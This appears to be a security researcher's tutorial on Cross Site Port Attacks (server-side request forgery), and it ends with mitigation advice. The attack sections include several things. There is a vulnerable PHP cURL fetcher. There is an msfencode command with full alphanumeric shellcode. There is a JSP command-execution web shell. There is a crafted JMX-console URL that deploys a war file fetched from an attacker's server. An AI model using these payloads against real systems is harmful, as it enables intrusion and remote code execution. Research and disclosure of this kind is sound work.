An
application is vulnerable to Cross Site Port Attacks if the application
processes user supplied URLs and does not verify/sanitize the back end
response received from remote servers before sending it back to the
client. An attacker can send crafted queries to a vulnerable web
application to proxy attacks to external Internet facing servers,
intranet devices and the web server itself using the advertised
functionality of the vulnerable web application. The responses, in
certain cases, can be studied to identify service availability (port
status, banners etc.) and even fetch data from remote services in
unconventional ways.
XSPA
allows attackers to abuse available functionality in most web
applications to port scan intranet and external Internet facing servers,
fingerprint internal (non-Internet exposed) network aware services,
perform banner grabbing, identify web application frameworks, exploit
vulnerable programs, run code on reachable machines, exploit web
application vulnerabilities listening on internal networks, read local
files using the file protocol and much more. XSPA has been discovered
with Facebook, where it was possible to port scan any Internet facing
server using Facebook’s IP addresses. Consecutively, XSPA was also
discovered in several other prominent web applications on the Internet,
including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest,
Yahoo, Adobe Omniture and several others. We will take a look at the
vulnerabilities that were present in the above mentioned web
applications that could be used to launch attacks and perform port scans
on remote servers and intranet devices using predefined functionality.
ATTACK'S :
XSPA
allows attackers to target the server infrastructure, mostly the
intranet of the web server, the web server itself and any public
Internet facing server as well. Currently, I have come across the
following five different attacks that can be launched because of XSPA:
1. Port Scanning remote Internet facing servers, intranet devices and
the local web server itself. Banner grabbing is also possible in some
cases.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Fingerprinting intranet web applications using standard application default files & behavior
4. Attacking internal/external web applications that are vulnerable to
GET parameter based vulnerabilities (SQLi via URL, parameter
manipulation etc.)
5. Reading local web server files using the file:/// protocol handler.
Most web server architecture would allow the web server to access the
Internet and services running on the intranet. The following visual
depiction shows the various destinations to which requests can be made:
Port Scanning using XSPA :
Consider
a web application that provides a common functionality that allows a
user to input a link to an external image from a third party server.
Most social networking sites have this functionality that allows users
to update their profile image by either uploading an image or by
providing a URL to an image hosted elsewhere on the Internet.
A user is expected (in an utopian world) to enter a valid URL pointing
to an image on the Internet. URLs of the following forms would be
considered valid:
http://example.com/dir/public/image.jpg
http://example.com/dir/images/
The second URL is valid, if the served Content-Type is an image
(http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the
web application's server side logic, the image is downloaded on the
server, a URL is created and then the image is displayed to the user,
using the new server URL. So even if you specify the image to be at
http://example.com/dir/public/image.jpg
the final image url would be at
http://gravatar.com/user_images/username/image.jpg.
If an image is not found at the user supplied URL, the web
application will normally inform the user of such. However, if the
remote server hosting the image itself isn't found or the server exists
and there is no HTTP service running then it gets tricky. Most web
applications generate error messages that inform the user regarding the
status of this request. An attacker can specify a non-standard yet valid
URI according to the URI rfc3986 with a port specification. An example
of these URIs would be the following:
http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/
In all
probability you would find a web application on port 8080 and not on 22
(SSH) or 3306 (MySQL). However, the backend logic of the webserver, in
all observed cases, will connect to the user specified URL on the
mentioned port using whatever APIs and framework it is built over as
these are valid HTTP URLs. In case of most TCP services, banners are
sent when a socket connection is created and since most banners
(containing juicy information) are printable ascii, they can be
displayed as raw HTML via the response handler. If there is some parsing
of data on the server then non HTML data may not be displayed, in such
cases, unique error messages, response byte size and response timing can
be used to identify port status providing an avenue for port scanning
remote servers using the vulnerable web application. An attacker can
analyze the returned error messages and identify open and closed ports
based on unique error responses. These responses may be raw socket
errors (like "Connection refused" or timeouts) or may be customized by
the application (like "Unexpected header found" or "Service was not
reachable"). Instead of providing a URL to a remote server, URLs to
localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan
the local server itself!
The following implementation of cURL can be abused to port scan devices:
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
?>
The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:
Request: http://www.twitter.com/robots.txt
For the same page, if a request is made to fetch data from a open port running a non HTTP service:
Request: http://scanme.nmap.org:22/test.txt
For a closed port, an application specific error is displayed:
Request: http://scanme.nmap.org:25/test.txt
The
different responses received allow us to port scan devices using the
vulnerable web application server as a proxy. This can easily be
scripted to achieve automation and cleaner results. I will be (in later
posts) showing how this attack was possible on Facebook, Google,
Mozilla, Pinterest, Adobe and Yahoo!
An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:
Request: http://127.0.0.1:3306/test.txt
In
most web applications on the Internet, barring a few, banner grabbing
may not be possible, in which case application specific error messages,
response byte size, server response times and changes in HTML source can
be used as unique fingerprints to identify port status. The following
screengrabs show port scanning via XSPA in Google's Webmasters web
application. Note the application specific error messages that can be
used to script the vulnerability and automate scanning of
Internet/Intranet devices. Google has now fixed this issue (and my name
was listed in the prestigious Google Hall of Fame for security researchers):
Attacks - Exploiting vulnerable network programs
Most
developers in the real world write code without incorporating a lot of
security. Which is why, even after a decade of being documented, threats
like buffer overflows and format string vulnerabilities are still found
in applications. For applications built in-house to perform specific
tasks, security is almost never in the list of priorities, hence
attacking them gives easy access to the internal network. XSPA allows
attackers to send data to user controlled addresses and ports which
could have vulnerable services listening on them. These can be exploited
using XSPA to execute code on the remote/local server and gain a
reverse shell (or perform an attacker desired activity).
If we look at the flow of an XSPA attack, we can see that we control the
part after the port specification. In simpler terms, we control the
resource that we are asking the web server to fetch from the
remote/local server. The web server creates a GET (or POST, mostly GET)
request on the backend and connects to the attacker specified service
and issues the following HTTP request:
GET /attacker_controlled_resource HTTP/1.1
Host: hostname
If you notice carefully, we do not need to be concerned about most of
the structure of the backend request as we control the most important
part of it, the resource specification. For example, in the following
screengrab you can see that a program listening on port 8987 on the
local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The
Server Time is: [server time]". We can see that the "GET /test.txt
HTTP/1.1" is sent by the web server to the program as part of its
request creation process. If the program is vulnerable to a buffer
overflow, as user input is being used to create the output, the attacker
could pass an overly long string and crash the program.
Request: http://127.0.0.1:8987/test.txt
Request:
http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
One
important point to be noted however is that HTTP being a text based
protocol may not handle non-printable unicode characters (found in
exploit code) properly. In such a situation, we can use msfencode (part
of metasploit framework) to encode the exploit payload to alpha numeric
using the following command:
msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed
The result? The following alphanumeric text (along with padding AAAAAAs,
the static JMP ESP address and the shellcode) that can now be sent via
the web application to the vulnerable program:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
Sucessful exploitation leads to calculator executing on the server. The
shellcode can be replaced with other payloads as well (reverse shell
perhaps?)
Attacks - Fingerprinting Intranet Web Applications
Identifying internal applications via XSPA would be one of the first
steps an attacker would take to get into the network from outside.
Fingerprinting the type and version, if its a publicly available
framework, blogging platform, application module or simply a customized
public CMS, is essential in identifying vulnerabilities that can then be
exploited to gain access.
Most publicly available web application frameworks have distinct files
and directories whose presence would indicate the type and version of
the application. Most web applications also give away version and other
information through meta tags and comments inside the HTML source.
Specific vulnerabilites can then be researched based on the results. For
example, the following unique signatures help in identifying a
phpMyAdmin, Wordpress and a Drupal instance respectively:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
The following request attempts to identify the presence of a DLink Router:
Request: http://10.0.0.1/portName.js
Once the web application has been identified, an attacker can then
research vulnerabilities and exploit vulnerable applications. In the
next post we shall see how intranet web applications can be attacked and
how servers can be abused using other protocols as well.
Attacking Internal Vulnerable Web Applications :
Most
often than not, intranet applications lack even the most basic security
allowing an attacker on the internal network to attack and access
server resources including data and code. Being an intranet application,
reaching it from the Internet requires VPN access to the internal
network or specialized connectivity on the same lines. Using XSPA,
however, an attacker can target vulnerable internal web applications via
the Internet exposed web application.
A well documented hack
using the JMX console, allows an attacker to deploy a war file
containing JSP code that would allow command execution on the server. If
an attacker has direct access to the JMX console, then deploying the
war file containing the following JSP code is relatively
straightforward:
<%@ page import="java.util.*,java.io.*"%>
<pre>
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} %>
</pre>
Using
the MainDeployer under jboss.system:service in the JMX Bean View we can
deploy a war file containing a JSP shell. The MainDeployer can be found
at the following address:
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
Using the MainDeployer, for example, a war file named cmd.war containing
a shell named shell.jsp can be deployed to the server and accessed via
http://example_server:8080/cmd/shell.jsp. Commands can then be executed
via shell.jsp?x=[command]. To perform this via XSPA we need to obviously
replace the example_server with the IP/hostname of the server running
JBoss on the internal network.
A small problem here that becomes a roadblock in performing this attack
via XSPA is that the file deploy works via a POST request and hence we
cannot craft a URL (atleast we think so) that would deploy the war file
to the server. This can easily be solved by converting the POST to a GET
request for the JMX console. On a test installation, we can identify
the variables that are being sent to the JBoss server when the Main
Deployer's deploy() function is called. Using your favorite proxy, or
simply using the Firefox addon - Web Developer's "Convert POST to GET"
functionality, we can construct a URL that would allow deploying of the
cmd.war file to the server. We then only need to host the cmd.war file
on an Internet facing server so that we can specify the cmd.war file URL
as arg0. The final URL would look something like (assuming JBoss server
is running on the same web server):
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
Use this URL as input to the XSPA vulnerable web application and if the
application displays received responses from the backend, you should see
something on the lines of the following:
Then
its a matter of requesting shell.jsp via the XSPA vulnerable web
application. For example, the following input would return the directory
listing on the JBoss server (assuming its Windows, for Linux,
x=ls%20-al can be used)
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
We
have successfully attacked an internal vulnerable web application from
the Internet using XSPA. We can then use the shell to download a reverse
connect program that would give higher flexibility over issuing
commands. Similarily other internal applications vulnerable to threats
like SQL Injection, parameter manipulation and other URL based attacks
can be targeted from the Internet.
Attacks - Reading local files using file:/// protocol
All the attacks that we saw till now make use of the fact that the XSPA
vulnerable web application creates an HTTP request to the requested
resource. The protocol in all cases was specified by the attacker. On
the other hand, if we specify the file protocol handler, we maybe able
to read local files on the server.
HOW TO FIX :
There
are multiple ways of mitigating this vulnerability, the most ideal and
common techniques of thwarting XSPA, however, are listed below:
1. Response Handling - Validating responses received from remote
resources on the server side is the most basic mitigation that can be
readily implemented. If a web application expects specific content type
on the server, programmatically ensure that the data received satisfies
checks imposed on the server before displaying or processing the data
for the client.
2. Error handling and messages - Display generic error messages to the
client in case something goes wrong. If content type validation fails,
display generic errors to the client like "Invalid Data retrieved". Also
ensure that the message is the same when the request fails on the
backend and if invalid data is received. This will prevent the
application from being abused as distinct error messages will be absent
for closed and open ports. Under no circumstance should the raw response
received from the remote server be displayed to the client.
3. Restrict connectivity to HTTP based ports - This may not always be
the brightest thing to do, but restricting the ports to which the web
application can connect to only HTTP ports like 80, 443, 8080, 8090 etc.
can lower the attack surface. Several popular web applications on the
Internet just strip any port specifications in the input URL and connect
to the port that is determined by the protocol handler (http - 80,
https - 443).
4. Blacklist IP addresses - Internal IP addresses, localhost
specifications and internal hostnames can all be blacklisted to prevent
the web application from being abused to fetch data/attack these
devices. Implementing this will protect servers from one time attack
vectors. For example, even if the first fix (above) is implemented, the
data is still being sent to the remote service. If an attack that does
not need to see responses is executed (like a buffer overflow exploit)
then this fix can actually prevent data from ever reaching the
vulnerable device. Response handling is then not required at all as a
request was never made.
5. Disable unwanted protocols - Allow only http and https to make
requests to remote servers. Whitelisting these protocols will prevent
the web application from making requests over other protocols like
file:///, gopher://, ftp:// and other URI schemes.
